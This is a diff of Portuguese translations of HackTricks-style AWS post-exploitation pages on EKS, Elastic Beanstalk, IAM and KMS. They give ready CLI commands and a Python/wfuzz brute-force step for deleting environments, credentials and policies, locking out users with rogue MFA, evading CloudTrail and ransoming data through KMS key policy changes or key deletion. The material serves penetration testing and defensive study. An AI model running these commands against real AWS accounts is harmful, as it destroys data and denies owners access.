### Obter o endpoint do API Server a partir de um token JWT
|
||||
|
||||
Decodificando o token JWT obtemos o cluster id e também a região.  Sabendo que o formato padrão para a URL do EKS é
|
||||
```bash
|
||||
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
|
||||
```
|
||||
Não encontrei nenhuma documentação que explique os critérios para os 'two chars' e o 'number'. Mas, fazendo alguns testes por minha conta, vejo que estes aparecem com frequência:
|
||||
|
||||
- gr7
|
||||
- yl4
|
||||
|
||||
De qualquer forma, são apenas 3 chars; podemos usar bruteforce neles. Use o script abaixo para gerar a lista
|
||||
```python
|
||||
from itertools import product
|
||||
from string import ascii_lowercase
|
||||
|
||||
letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
|
||||
number_combinations = product('0123456789', repeat = 1)
|
||||
|
||||
result = [
|
||||
f'{''.join(comb[0])}{comb[1][0]}'
|
||||
for comb in product(letter_combinations, number_combinations)
|
||||
]
|
||||
|
||||
with open('out.txt', 'w') as f:
|
||||
f.write('\n'.join(result))
|
||||
```
|
||||
Em seguida, com wfuzz
|
||||
```bash
|
||||
wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
|
||||
```
|
||||
> [!WARNING]
|
||||
> Lembre-se de substituir & .
|
||||
|
||||
### Bypass CloudTrail
|
||||
|
||||
Se um atacante obtiver credenciais de uma conta AWS com **permissão sobre um EKS**. Se o atacante configurar seu próprio **`kubeconfig`** (sem chamar **`update-kubeconfig`**) como explicado anteriormente, o **`get-token`** não gera logs no Cloudtrail porque não interage com a API da AWS (ele apenas cria o token localmente).
|
||||
|
||||
Então, quando o atacante se comunica com o cluster EKS, **cloudtrail não vai registrar nada relacionado ao usuário comprometido e ao seu acesso**.
|
||||
|
||||
Observe que o **cluster EKS pode ter logs habilitados** que irão registrar esse acesso (embora, por padrão, eles estejam desabilitados).
|
||||
|
||||
### Ransom no EKS?
|
||||
|
||||
Por padrão o **usuário ou role que criou** um cluster **sempre terá privilégios de admin** sobre o cluster. E esse é o único acesso "seguro" que a AWS terá sobre o cluster Kubernetes.
|
||||
|
||||
So, if an **attacker compromises a cluster using Fargate** and **removes all the other admins** and d**eletes the AWS user/role that created** the Cluster, ~~o atacante poderia ter **extorquido o cluste**~~**r**.
|
||||
|
||||
> [!TIP]
|
||||
> Observe que se o cluster estiver usando **EC2 VMs**, pode ser possível obter privilégios de Admin a partir do **Node** e recuperar o cluster.
|
||||
>
|
||||
> Na verdade, se o cluster estiver usando Fargate, você poderia criar nodes EC2 ou mover tudo para EC2 no cluster e recuperá‑lo acessando os tokens no node.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,70 +0,0 @@
|
||||
# AWS - Elastic Beanstalk Pós Exploração
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
Para mais informações:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `elasticbeanstalk:DeleteApplicationVersion`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar se mais permissões são necessárias para isso
|
||||
|
||||
Um atacante com a permissão `elasticbeanstalk:DeleteApplicationVersion` pode **deletar uma versão de aplicativo existente**. Esta ação pode interromper pipelines de implantação de aplicativos ou causar a perda de versões específicas de aplicativos se não forem feitas cópias de segurança.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
|
||||
```
|
||||
**Impacto Potencial**: Interrupção da implantação de aplicativos e possível perda de versões de aplicativos.
|
||||
|
||||
### `elasticbeanstalk:TerminateEnvironment`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar se mais permissões são necessárias para isso
|
||||
|
||||
Um atacante com a permissão `elasticbeanstalk:TerminateEnvironment` pode **encerrar um ambiente Elastic Beanstalk existente**, causando inatividade para o aplicativo e possível perda de dados se o ambiente não estiver configurado para backups.
|
||||
```bash
|
||||
aws elasticbeanstalk terminate-environment --environment-name my-existing-env
|
||||
```
|
||||
**Impacto Potencial**: Tempo de inatividade da aplicação, perda potencial de dados e interrupção dos serviços.
|
||||
|
||||
### `elasticbeanstalk:DeleteApplication`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar se mais permissões são necessárias para isso
|
||||
|
||||
Um atacante com a permissão `elasticbeanstalk:DeleteApplication` pode **deletar uma aplicação inteira do Elastic Beanstalk**, incluindo todas as suas versões e ambientes. Esta ação pode causar uma perda significativa de recursos e configurações da aplicação se não forem feitas cópias de segurança.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
|
||||
```
|
||||
**Impacto Potencial**: Perda de recursos de aplicação, configurações, ambientes e versões de aplicação, levando a interrupções de serviço e potencial perda de dados.
|
||||
|
||||
### `elasticbeanstalk:SwapEnvironmentCNAMEs`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar se mais permissões são necessárias para isso
|
||||
|
||||
Um atacante com a permissão `elasticbeanstalk:SwapEnvironmentCNAMEs` pode **trocar os registros CNAME de dois ambientes do Elastic Beanstalk**, o que pode fazer com que a versão errada da aplicação seja servida aos usuários ou levar a comportamentos não intencionais.
|
||||
```bash
|
||||
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
|
||||
```
|
||||
**Impacto Potencial**: Servir a versão errada da aplicação para os usuários ou causar comportamento não intencional na aplicação devido a ambientes trocados.
|
||||
|
||||
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
|
||||
|
||||
> [!NOTA]
|
||||
> TODO: Testar se mais permissões são necessárias para isso
|
||||
|
||||
Um atacante com as permissões `elasticbeanstalk:AddTags` e `elasticbeanstalk:RemoveTags` pode **adicionar ou remover tags em recursos do Elastic Beanstalk**. Essa ação pode levar a alocação incorreta de recursos, cobrança ou gerenciamento de recursos.
|
||||
```bash
|
||||
aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
|
||||
|
||||
aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
|
||||
```
|
||||
**Impacto Potencial**: Alocação incorreta de recursos, cobrança ou gerenciamento de recursos devido a tags adicionadas ou removidas.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,70 @@
|
||||
# AWS - Elastic Beanstalk Pós-Exploração
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
Para mais informações:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `elasticbeanstalk:DeleteApplicationVersion`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar se são necessárias mais permissões para isto
|
||||
|
||||
Um atacante com a permissão `elasticbeanstalk:DeleteApplicationVersion` pode **excluir uma versão existente da aplicação**. Essa ação pode interromper pipelines de implantação de aplicações ou causar a perda de versões específicas da aplicação caso não haja backup.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
|
||||
```
|
||||
**Impacto Potencial**: Interrupção da implantação da aplicação e possível perda de versões da aplicação.
|
||||
|
||||
### `elasticbeanstalk:TerminateEnvironment`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar se são necessárias mais permissões para isso
|
||||
|
||||
Um atacante com a permissão `elasticbeanstalk:TerminateEnvironment` pode **encerrar um ambiente existente do Elastic Beanstalk**, causando indisponibilidade da aplicação e possível perda de dados se o ambiente não estiver configurado para cópias de segurança.
|
||||
```bash
|
||||
aws elasticbeanstalk terminate-environment --environment-name my-existing-env
|
||||
```
|
||||
**Potential Impact**: Tempo de inatividade da aplicação, possível perda de dados e interrupção dos serviços.
|
||||
|
||||
### `elasticbeanstalk:DeleteApplication`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar se são necessárias mais permissões para isto
|
||||
|
||||
Um atacante com a permissão `elasticbeanstalk:DeleteApplication` pode **excluir toda uma aplicação do Elastic Beanstalk**, incluindo todas as suas versões e ambientes. Essa ação pode causar perda significativa de recursos e configurações da aplicação se não houver backup.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
|
||||
```
|
||||
**Impacto Potencial**: Perda de recursos da aplicação, configurações, ambientes e versões da aplicação, levando à interrupção do serviço e possível perda de dados.
|
||||
|
||||
### `elasticbeanstalk:SwapEnvironmentCNAMEs`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar se mais permissões são necessárias para isto
|
||||
|
||||
Um atacante com a permissão `elasticbeanstalk:SwapEnvironmentCNAMEs` pode **trocar os registros CNAME de dois ambientes do Elastic Beanstalk**, o que pode fazer com que a versão errada da aplicação seja servida aos usuários ou causar comportamento indesejado.
|
||||
```bash
|
||||
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
|
||||
```
|
||||
**Impacto Potencial**: Servir a versão errada da aplicação aos usuários ou causar comportamento não intencional na aplicação devido a ambientes trocados.
|
||||
|
||||
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar se são necessárias mais permissões para isto
|
||||
|
||||
Um atacante com as permissões `elasticbeanstalk:AddTags` e `elasticbeanstalk:RemoveTags` pode **add or remove tags on Elastic Beanstalk resources**. Essa ação pode levar a alocação incorreta de recursos, faturamento incorreto ou problemas no gerenciamento de recursos.
|
||||
```bash
|
||||
aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
|
||||
|
||||
aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
|
||||
```
|
||||
**Impacto Potencial**: Alocação incorreta de recursos, faturamento ou gerenciamento de recursos devido à adição ou remoção de tags.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,24 +1,24 @@
|
||||
# AWS - IAM Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Para mais informações sobre acesso IAM:
|
||||
For more information about IAM access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Confused Deputy Problem
|
||||
## Problema do Confused Deputy
|
||||
|
||||
Se você **permitir que uma conta externa (A)** acesse uma **role** na sua conta, provavelmente terá **0 visibilidade** sobre **quem exatamente pode acessar essa conta externa**. Isso é um problema, porque se outra conta externa (B) conseguir acessar a conta externa (A), é possível que **B também consiga acessar sua conta**.
|
||||
Se você **permitir que uma conta externa (A)** acesse uma **role** na sua conta, provavelmente terá **0 visibilidade** sobre **quem exatamente pode acessar essa conta externa**. Isso é um problema, porque se outra conta externa (B) puder acessar a conta externa (A), é possível que **B também consiga acessar sua conta**.
|
||||
|
||||
Portanto, ao permitir que uma conta externa acesse uma role na sua conta, é possível especificar um `ExternalId`. Esta é uma string "secreta" que a conta externa (A) **precisa especificar** para **assume the role in your organization**. Como a **conta externa B não conhece essa string**, mesmo que ele tenha acesso à A, ele **não conseguirá acessar sua role**.
|
||||
Portanto, ao permitir que uma conta externa acesse uma role na sua conta, é possível especificar um `ExternalId`. Esta é uma string "secreta" que a conta externa (A) **precisa especificar** para **assumir a role na sua organização**. Como a **conta externa B não conhecerá essa string**, mesmo que ela tenha acesso à A, **não poderá acessar sua role**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
No entanto, note que este `ExternalId` "secreto" é **não é um segredo**, qualquer um que possa **ler a IAM assume role policy will be able to see it**. Mas desde que a conta externa A o conheça, e a conta externa **B não o conheça**, isso **impede que B abuse de A para acessar sua role**.
|
||||
No entanto, note que esse "segredo" `ExternalId` **não é um segredo**: qualquer pessoa que puder **ler a IAM assume role policy poderá vê-lo**. Mas enquanto a conta externa A souber dele, e a conta externa **B não souber**, isso **impede que B abuse de A para acessar sua role**.
|
||||
|
||||
Exemplo:
|
||||
```json
|
||||
@@ -39,9 +39,9 @@ Exemplo:
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Para que um atacante explore um confused deputy, ele precisará descobrir de alguma forma se os principals da current account podem assumir roles em other accounts.
|
||||
> Para um atacante explorar um confused deputy, ele precisará descobrir de alguma forma se os principals da conta atual podem se passar por roles em outras contas.
|
||||
|
||||
### Relações de confiança inesperadas
|
||||
### Confianças inesperadas
|
||||
|
||||
#### Wildcard como principal
|
||||
```json
|
||||
@@ -51,7 +51,7 @@ Exemplo:
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
Esta policy **permite que todos os serviços da AWS** assumam o role.
|
||||
Esta política **permite que todo o AWS** assuma a role.
|
||||
|
||||
#### Serviço como principal
|
||||
```json
|
||||
@@ -62,7 +62,7 @@ Esta policy **permite que todos os serviços da AWS** assumam o role.
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
Esta policy **permite qualquer conta** configurar seu apigateway para chamar esta Lambda.
|
||||
Esta política **permite que qualquer conta** configure seu apigateway para chamar esta Lambda.
|
||||
|
||||
#### S3 como principal
|
||||
```json
|
||||
@@ -73,7 +73,7 @@ Esta policy **permite qualquer conta** configurar seu apigateway para chamar est
|
||||
}
|
||||
}
|
||||
```
|
||||
Se um S3 bucket for definido como principal, já que os S3 buckets não têm um ID da conta, se você **deletou seu bucket e o atacante o criou** na própria conta, o atacante poderia abusar disso.
|
||||
Se um S3 bucket for dado como um principal, porque S3 buckets não têm um Account ID, se você **excluiu seu bucket e o atacante o criou** na conta dele, então ele poderia abusar disso.
|
||||
|
||||
#### Não suportado
|
||||
```json
|
||||
@@ -86,8 +86,8 @@ Se um S3 bucket for definido como principal, já que os S3 buckets não têm um
|
||||
```
|
||||
Uma forma comum de evitar problemas de Confused Deputy é usar uma condição com `AWS:SourceArn` para verificar o ARN de origem. No entanto, **alguns serviços podem não suportar isso** (como CloudTrail segundo algumas fontes).
|
||||
|
||||
### Credential Deletion
|
||||
Com qualquer uma das seguintes permissões — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — um ator pode remover access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates ou CloudFront public keys, ou desassociar roles de instance profiles. Tais ações podem bloquear imediatamente usuários e aplicações legítimas e causar denial-of-service ou perda de acesso para sistemas que dependem dessas credenciais, portanto essas permissões IAM devem ser rigidamente restritas e monitoradas.
|
||||
### Exclusão de Credenciais
|
||||
Com qualquer uma das seguintes permissões — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — um ator pode remover access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates ou CloudFront public keys, ou desassociar roles de instance profiles. Tais ações podem imediatamente bloquear usuários e aplicações legítimas e causar denial-of-service ou perda de acesso para sistemas que dependem dessas credenciais, portanto essas permissões do IAM devem ser rigorosamente restritas e monitoradas.
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
@@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### Exclusão de Identidade
|
||||
Com permissões como `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` ou `iam:RemoveUserFromGroup`, um ator pode excluir usuários, funções ou grupos — ou alterar a associação a um grupo — removendo identidades e vestígios associados. Isso pode interromper imediatamente o acesso de pessoas e serviços que dependem dessas identidades, causando negação de serviço ou perda de acesso; portanto, essas ações do IAM devem ser rigorosamente restritas e monitoradas.
|
||||
Com permissões como `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, ou `iam:RemoveUserFromGroup`, um ator pode excluir usuários, funções ou grupos—or alterar a associação a grupos—removendo identidades e vestígios associados. Isso pode interromper imediatamente o acesso de pessoas e serviços que dependem dessas identidades, causando denial-of-service ou perda de acesso, portanto essas ações do IAM devem ser rigidamente restritas e monitoradas.
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
@@ -114,8 +114,7 @@ aws iam delete-group \
|
||||
aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
###
|
||||
Com qualquer uma das seguintes permissões — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — um ator pode excluir ou desanexar políticas gerenciadas/inline, remover versões de políticas ou limites de permissões, e desvincular políticas de usuários, grupos ou funções. Isso destrói autorizações e pode alterar o modelo de permissões, causando perda imediata de acesso ou negação de serviço para entidades que dependiam dessas políticas, portanto essas ações do IAM devem ser estritamente restritas e monitoradas.
|
||||
Com qualquer uma das seguintes permissões — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — um ator pode deletar ou desanexar managed/inline policies, remover policy versions ou permissions boundaries, e desvincular policies de users, groups ou roles. Isso destrói autorizações e pode alterar o modelo de permissões, causando perda imediata de acesso ou denial-of-service para principals que dependiam dessas policies, portanto essas ações do IAM devem ser rigidamente restringidas e monitoradas.
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
@@ -127,8 +126,8 @@ aws iam delete-role-policy \
|
||||
--role-name <RoleName> \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### Federated Identity Deletion
|
||||
Com `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` e `iam:RemoveClientIDFromOpenIDConnectProvider`, um ator pode excluir provedores de identidade OIDC/SAML ou remover client IDs. Isso interrompe a autenticação federada, impedindo a validação de tokens e negando imediatamente o acesso a usuários e serviços que dependem de SSO até que o IdP ou as configurações sejam restaurados.
|
||||
### Exclusão de identidade federada
|
||||
Com `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` e `iam:RemoveClientIDFromOpenIDConnectProvider`, um ator pode excluir provedores de identidade OIDC/SAML ou remover IDs de cliente. Isso interrompe a autenticação federada, impedindo a validação de tokens e negando imediatamente o acesso a usuários e serviços que dependem de SSO até que o IdP ou as configurações sejam restaurados.
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
@@ -139,7 +138,7 @@ aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### Ativação ilegítima de MFA
|
||||
Com `iam:EnableMFADevice`, um ator pode registrar um dispositivo MFA na identidade de um usuário, impedindo o usuário legítimo de efetuar login. Uma vez que um MFA não autorizado é habilitado, o usuário pode ficar bloqueado até que o dispositivo seja removido ou redefinido (nota: se múltiplos dispositivos MFA estiverem registrados, o login requer apenas um, então este ataque não terá efeito em negar o acesso).
|
||||
Com `iam:EnableMFADevice`, um atacante pode registrar um dispositivo MFA na identidade de um usuário, impedindo o usuário legítimo de fazer login. Uma vez que um MFA não autorizado é ativado, o usuário pode ficar bloqueado até que o dispositivo seja removido ou redefinido (nota: se vários dispositivos MFA estiverem registrados, o login requer apenas um, então esse ataque não terá efeito para negar o acesso).
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
@@ -148,7 +147,7 @@ aws iam enable-mfa-device \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### Certificate/Key Metadata Tampering
|
||||
Com `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, um ator pode alterar o estado ou os metadados de chaves públicas e certificados. Ao marcar chaves/certificados como inativos ou alterar referências, eles podem quebrar a autenticação SSH, invalidar validações X.509/TLS e interromper imediatamente serviços que dependem dessas credenciais, causando perda de acesso ou disponibilidade.
|
||||
Com `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, um ator pode alterar o status ou os metadados de chaves públicas e certificados. Ao marcar chaves/certificados como inativos ou alterar referências, podem quebrar a autenticação SSH, invalidar validações X.509/TLS e interromper imediatamente serviços que dependem dessas credenciais, causando perda de acesso ou indisponibilidade.
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
@@ -163,4 +162,4 @@ aws iam update-server-certificate \
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,26 +1,26 @@
|
||||
# AWS - KMS Post Exploitation
|
||||
# AWS - KMS Pós-Exploração
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Para mais informações, confira:
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Criptografar/Descriptografar informação
|
||||
### Criptografar/Descriptografar informações
|
||||
|
||||
`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
|
||||
|
||||
- `fileb://:` Lê o arquivo em modo binário, comumente usado para arquivos não textuais.
|
||||
- `file://:` Lê o arquivo em modo texto, tipicamente usado para arquivos de texto simples, scripts, ou JSON que não têm requisitos de codificação especiais.
|
||||
- `file://:` Lê o arquivo em modo texto, tipicamente usado para arquivos de texto simples, scripts ou JSON que não têm requisitos especiais de codificação.
|
||||
|
||||
> [!TIP]
|
||||
> Observe que, se você quiser descriptografar alguns dados dentro de um arquivo, o arquivo deve conter os dados binários, não dados codificados em base64. (fileb://)
|
||||
|
||||
- Usando uma chave **simétrica**
|
||||
- Usando uma **simétrica** key
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
@@ -60,14 +60,14 @@ aws kms decrypt \
|
||||
```
|
||||
### KMS Ransomware
|
||||
|
||||
Um atacante com acesso privilegiado ao KMS poderia modificar a KMS policy das chaves e **conceder acesso à sua conta sobre elas**, removendo o acesso concedido à conta legítima.
|
||||
Um atacante com acesso privilegiado ao KMS poderia modificar a KMS policy das keys e **conceder à sua conta acesso a elas**, removendo o acesso concedido à conta legítima.
|
||||
|
||||
Então, os usuários da conta legítima não conseguirão acessar qualquer informação de qualquer serviço que tenha sido criptografado com essas chaves, criando um ransomware simples mas eficaz contra a conta.
|
||||
Então, os usuários da conta legítima não poderão acessar qualquer informação de qualquer serviço que tenha sido criptografado com essas keys, criando um ransomware simples mas eficaz na conta.
|
||||
|
||||
> [!WARNING]
|
||||
> Observe que **AWS managed keys não são afetadas** por este ataque, apenas **Customer managed keys**.
|
||||
> Note que **AWS managed keys aren't affected** por este ataque, apenas **Customer managed keys**.
|
||||
|
||||
> Também observe a necessidade de usar o parâmetro **`--bypass-policy-lockout-safety-check`** (a ausência dessa opção no web console torna esse ataque possível apenas via CLI).
|
||||
> Também observe a necessidade de usar o parâmetro **`--bypass-policy-lockout-safety-check`** (a ausência dessa opção no web console torna este ataque possível apenas via CLI).
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
@@ -92,22 +92,22 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Observe que se você alterar essa policy e conceder acesso apenas a uma external account, e então a partir dessa external account tentar definir uma nova policy para **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**.
|
||||
> Atenção: observe que se você alterar essa policy e apenas conceder acesso a uma external account, e então a partir dessa external account tentar definir uma nova policy para **devolver o acesso à conta original, você não conseguirá porque a Put Polocy action cannot be performed from a cross account**.
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Generic KMS Ransomware
|
||||
### Genérico KMS Ransomware
|
||||
|
||||
There is another way to perform a global KMS Ransomware, which would involve the following steps:
|
||||
Há outra forma de realizar um KMS Ransomware global, que envolveria os seguintes passos:
|
||||
|
||||
- Create a new **key with a key material** imported by the attacker
|
||||
- **Re-encrypt older data** of the victim encrypted with the previous version with the new one.
|
||||
- Criar uma nova **key with a key material** importada pelo atacante
|
||||
- **Re-encrypt older data** da vítima, criptografados com a versão anterior, com a nova
|
||||
- **Delete the KMS key**
|
||||
- Now only the attacker, who has the original key material could be able to decrypt the encrypted data
|
||||
- Agora somente o atacante, que possui o key material original, poderia ser capaz de descriptografar os dados criptografados
|
||||
|
||||
### Excluir chaves via kms:DeleteImportedKeyMaterial
|
||||
### Delete Keys via kms:DeleteImportedKeyMaterial
|
||||
|
||||
Com a permissão `kms:DeleteImportedKeyMaterial`, um ator pode excluir o key material importado de CMKs com `Origin=EXTERNAL` (CMKs que importaram seu key material), tornando-os incapazes de descriptografar dados. Essa ação é destrutiva e irreversível, a menos que material compatível seja reimportado, permitindo que um atacante cause efetivamente perda de dados semelhante a ransomware ao tornar a informação criptografada permanentemente inacessível.
|
||||
Com a permissão `kms:DeleteImportedKeyMaterial`, um ator pode deletar o key material importado de CMKs com `Origin=EXTERNAL` (CMKs que importaram seu key material), tornando-os incapazes de descriptografar dados. Esta ação é destrutiva e irreversível a menos que material compatível seja reimportado, permitindo que um atacante efetivamente cause perda de dados do tipo ransomware ao tornar a informação criptografada permanentemente inacessível.
|
||||
```bash
|
||||
aws kms delete-imported-key-material --key-id <Key_ID>
|
||||
```
|
||||
@@ -121,10 +121,10 @@ aws kms schedule-key-deletion \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Observe que a AWS agora **impede que as ações anteriores sejam executadas a partir de outra conta:**
|
||||
> Observe que a AWS agora **impede que as ações anteriores sejam executadas a partir de uma conta cruzada:**
|
||||
|
||||
### Alterar ou excluir Alias
|
||||
Esse ataque exclui ou redireciona aliases do AWS KMS, quebrando a resolução da chave e causando falhas imediatas em quaisquer serviços que dependam desses aliases, resultando em negação de serviço. Com permissões como `kms:DeleteAlias` ou `kms:UpdateAlias`, um atacante pode remover ou reapontar aliases e interromper operações criptográficas (e.g., encrypt, describe). Qualquer serviço que referencie o alias em vez do ID da chave pode falhar até que o alias seja restaurado ou remapeado corretamente.
|
||||
Este ataque exclui ou redireciona aliases do AWS KMS, quebrando a resolução de chaves e causando falhas imediatas em quaisquer serviços que dependam desses aliases, resultando em negação de serviço. Com permissões como `kms:DeleteAlias` ou `kms:UpdateAlias` um atacante pode remover ou apontar novamente aliases e interromper operações criptográficas (por exemplo, encrypt, describe). Qualquer serviço que referencie o alias em vez do key ID pode falhar até que o alias seja restaurado ou corretamente remapeado.
|
||||
```bash
|
||||
# Delete Alias
|
||||
aws kms delete-alias --alias-name alias/<key_alias>
|
||||
@@ -135,7 +135,7 @@ aws kms update-alias \
|
||||
--target-key-id <new_target_key>
|
||||
```
|
||||
### Cancelar exclusão de chave
|
||||
Com permissões como `kms:CancelKeyDeletion` e `kms:EnableKey`, um ator pode cancelar a exclusão agendada de uma AWS KMS customer master key e, posteriormente, reativá-la. Ao fazer isso, a chave é recuperada (inicialmente no estado Desativado) e sua capacidade de descriptografar dados previamente protegidos é restaurada, permitindo a exfiltração.
|
||||
Com permissões como `kms:CancelKeyDeletion` e `kms:EnableKey`, um atacante pode cancelar uma exclusão agendada de uma chave mestra do cliente do AWS KMS e posteriormente reativá-la. Ao fazer isso, a chave é recuperada (inicialmente em estado Disabled) e sua capacidade de descriptografar dados previamente protegidos é restaurada, permitindo exfiltração.
|
||||
```bash
|
||||
# Firts cancel de deletion
|
||||
aws kms cancel-key-deletion \
|
||||
@@ -145,14 +145,14 @@ aws kms cancel-key-deletion \
|
||||
aws kms enable-key \
|
||||
--key-id <Key_ID>
|
||||
```
|
||||
### Disable Key
|
||||
